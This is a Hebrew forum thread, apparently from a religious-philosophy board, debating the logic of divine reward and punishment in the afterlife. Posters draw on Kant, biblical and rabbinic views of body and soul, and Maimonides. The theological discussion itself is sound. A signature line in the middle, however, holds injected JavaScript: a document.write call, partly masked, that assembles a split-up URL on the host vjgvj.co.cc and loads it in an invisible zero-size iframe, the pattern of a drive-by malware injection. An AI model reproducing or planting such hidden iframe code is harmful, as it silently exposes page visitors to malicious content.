שכר לצדיקים ועונש לרשעים - מה הקשר?

דבר פשוט ומקובל בכל הספרים שחיי העולם הבא והטוב הצפון לצדיקים, הכל הוא "שכר" המעשים הטובים ובחירת הטוב. כמ"ש מה רב טובך אשר צפנת ליראיך פעלת לחוסים בך, ועוד.


האם משהו יכול להסביר קשר (לוגי) בין ההטבה לבין הבחירה בטוב. למה אדם שבחר בטוב והיה צדיק "מגיע" לו שכר לנצח. וכן למה אדם שבחר בלא טוב ונעשה רשע "לא מגיע" לו להנות לנצח?

בשלמא שכר ועונש בעולם הזה, הם על דרך זרוז והרתעה. יש ענין שיהיו טובים ולא רעים (ולא נכנס כרגע מהו הענין), הדרך המקובלת לזה היא הטבות לטובים וענישה לרעים, וכך אם לא יהיו צדיקים בבחירה יהיו צדיקים בכפיה (ולא נכנס מה התועלת בכפיה לטוב). אבל כשמדברים על "טוב נצחי" אם מישהו חפץ להיטיב לנו, מה לו שהיינו פה רשעים?! האם נקמה או אכזבה הם המנחות אותו? כי אם לא אז מה שהיה היה, כרגע כולם עומדים לפניו צדיקים כרשעים ואם חפץ להיטיב שיטיב לכולם.

השתכרות וענישה אנושיים, הם בסיבות מידות נפש כמו לקיחת נקמה, הבעת אכזבה, זרז לעבודה, שביעות רצון. אבל אין קשר אמיתי בין הצדיק לבין שכרו ובין הרשע לבין פורענותו (מה פתאום שיגיע משהו טוב לצדיק כי בחר בטוב, ומה פתאום שיגיע משהו רע לרשע כי בחר ברע)
האם ישנם מידות אלו בבורא?

ירוחם

שאלת איך יכולים ילודי אשה להתיימר לדעת מה הקב"ה קובע עבורנו לעולם הבא, לאחר שנמות.

באמת איך?

יש כמה מקורות להשערות כאלו.

האחד הוא הידע הכללי שהיה קיים בסביבה: ייראה לי שהשאלה הזו, שבימינו נחשבת למשהו פילוסופי-מטפיזי-דתי שאי אפשר להכריע בו, היתה פעם נכללת בין הידע הכללי, המדעי למחצה, שלא היו בו אבחנות כשלנו בין מדע למטפיזיקה. המתים אינם מפסיקים להתקיים לגמרי אלא מנהלים חיים ברמה נחותה בעולם המתים שנמצא מתחת לאדמה. כך האמינו באומות השכנות לעם ישראל בימי המקרא, וכך עולה לכאורה מקטעי פסוקים. התורה לא דנה במפורש בשאלה זו, ואפשר להעלות השערות מנוגדות: האם התורה סבורה שאין כלל חיים לאחר המוות, אבל לא כתבה זאת במפורש כדי לא לזעזע יותר מדי, או שהתורה מניחה את האמונה על מקומה כיון שהיא נכונה?

מקור שני הוא האינטואיציה המוסרית שלנו. אפשר שהיא נכונה ואפשר שלא. כמדומה שעמנואל קנט, הפילוסוף הגוי, ביטא אותה היטב כאשר כתב כי כיון שחיינו בעולם הזה קצרים ולא הכי מאושרים, המוסר שמחייב גמול מחייב גם מקום וזמן של גמול, ולכן צריך עולם הבא. זה לא מלמד מה יהיה טיבו, אבל זה מחייב שיהיה כזה. וכיון שיש אלוקים שהוא בעל חכמה ורצון טוב (כתארי מהות או כתארי פעולה?) אז אפשר לסמוך שהוא יקיים את המחוייבות הזו.

אפשר להתווכח על שני מקורות מידע אלו. אבל אפשר גם להבין את מי שיסתמך עליהם.

___נוספו כמה מילות הבהרה.______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מה שמעניין שבעולם הזה מעודדים את ה"פרושים" להתנזר כמה שיותר מהנאות ותאוות העולם (המותרות) תמורת הבטחה שבעולם הבא יהיה להם הרבה יותר.. הנאות ותאוות...  אז מי כאן הבעל תאווה הגדול יותר?   =)

(אם ההנאות האלה כ"כ חשובות (והן המטרה, אולי) למה לא לנצל אותן גם בעולם הזה?)

יש כאן שני ענינים.

א. מהי תורת הגמול, העולם הבא, הנשמה והגוף וכו' אצל חז"ל ואצל חכמי ורבני ישראל במשך הדורות.

זו שאלה של מערכת אמונות (מה האמינו ומה לא), של היסטוריה (האם יש שינויים והתפתחות באמונות, ומתי מופיעה כל אמונה ואמונה)

ב. וזו שאלה של דיוק: מה נכון ומה לא. מהו האדם? גוף? נפש? גם וגם?

ג. ויש עוד שאלה שממנה פתח בעל האשכול, וזו היתה שאלה חדשה עד כמה שידוע לי. השאלה הזו התמקדה בנושא מאד מדוייק ומצומצם, אם גם יש לו הנחות יסוד שניתן לערער עליהן - וערערו עליהן.

וחבל שהנושא של ג' הלך לאיבוד.

אנסה לענות לשאלות של א', התפתחות היסטורית.

יש לנו כמה אמונות שהפכו לאמונות יסוד, ויש מערערים גם עליהן (סעיף ב') וגם על ייחוסן "אחורה".

האם האדם הוא באמת גוף ונשמה?

ואיך חז"ל השתמשו במונחים אלו? ואיך הם משמשים במקרא?

יש כאן כמה הנחות יסוד לביקורת על הגישה התמימה שסוברת כי החל מבריאת העולם היה האדם גוף ונשמה - ואולי שנאבקו זה בזו - וכולם ידעו זאת והאמינו בזאת.

ניתוח זהיר של שימושי הלשון ושל האמירות המופיעות אצל חז"ל, ובתנ"ך, יכול לזהות כי:

המילים המשמשות לתיאור האדם אינן תומכות בחלוקה גוף מול נפש, התפיסה של גוף ונפש כמקובל בעולם המודרני (לא החילוני אלא הדתי ובעיקר הנוצרי) הנאבקים ביניהם, כאשר הנפש היא משכן הטוב והשכל והגוף הוא משכן החומריות והרע -  תפיסות אלו אינן מוקדמות ואין חובה לטעון שהן נכונות.

התפתח דיון סביב שאלות אלו, שהן חשובות ומוצדקות, ואמנם ההוכחות שהובאו לצד מן הצדדים היו ארעיות. כמדומה שמתוך כך שיש שימושי לשון אחדים שאינם תומכים בחלוקות מאוחרות של הנפש והגוף או בתפיסות מאוחרות אחרות עדיין אין הוכחה מלאה שהחלוקות הללו באמת מאוחרות. צריך לבחון את כל אירועי הלשון. זה לא נעשה. זה כן מסוקר באותו ספר של ישי רוזן צבי באוניברסיטה משודרת, אם כי היו מחקרים לפניו, הוא האחרון שבהם, נוח לקריאה ומדוייק ממש ברובו. אם כי חלק ניכר ממה שהוא כותב ייראה בלתי אפשרי מראש למי שהתרגל לייחס דעות של אחרונים לראשונים.

וכל זה אינו שייך לנושא הראשון, שהיה:

האם התיאוריה של גמול, שכר ועונש, שניתן בידי ה' לבני אדם לפי הנהגתם, היא תיאוריה סבירה.

כאן יש להבין את הגמול במובן הפשטני למדי שמקובל היום, נניח אצל הרמח"ל (שאינו פשטני). העולם הזה הוא עולם הנסיון. יש מקצת גמול בעולם הזה והעיקר לעולם הבא (בין בעולם הנשמות בין בתחית המתים).

האמנם תיאוריה כזו שעיקר התכלית הוא לבחון בני אדם בניסויים ולתת להם על זה משכורת או עונש, זו תיאוריה סבירה לפי מושגי התרבות שלנו?

אפשר לטעון שכן, מפני שמי שאינו מבין זאת התרחק מן התפיסה הפשוטה והאמיתית של פעם.

אפשר לטעון שהתפיסה של גמול אכן היא יותר עממית ואולי אפילו פרימיטיבית, גם אם גדולי היהדות האמינו בה וקיבלו אותה.

שתי אפשרויות אלו נבחנו גם הן באשכול, אם כי לא בהיקף שהיה מניח את הדעת.

וכמדומה שעדיף לנצל את האשכול לבחינת שאלה ראשונה ואחרונה זו.

האם תפיסת הגמול היא משל ושק"ש (=שקר קדוש, אמונה הכרחית כלשון הרמב"ם) או אחד מעקרונות המציאות וההנהגה?

מה הן הנחות היסוד שמאפשרות לנו לקבוע לפי הבנתנו ותחושתנו אם תפיסת גמול כזו או אחרת היא פרימטיבית, סבירה, רציונלית, רציונליסטית?

הגענו לעמוד הששי של האשכול. ובחזרה להתחלה. אבל ייאמר כי לפעמים הכשרת הקרקע לדיון היא עצמה עבודה חשובה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");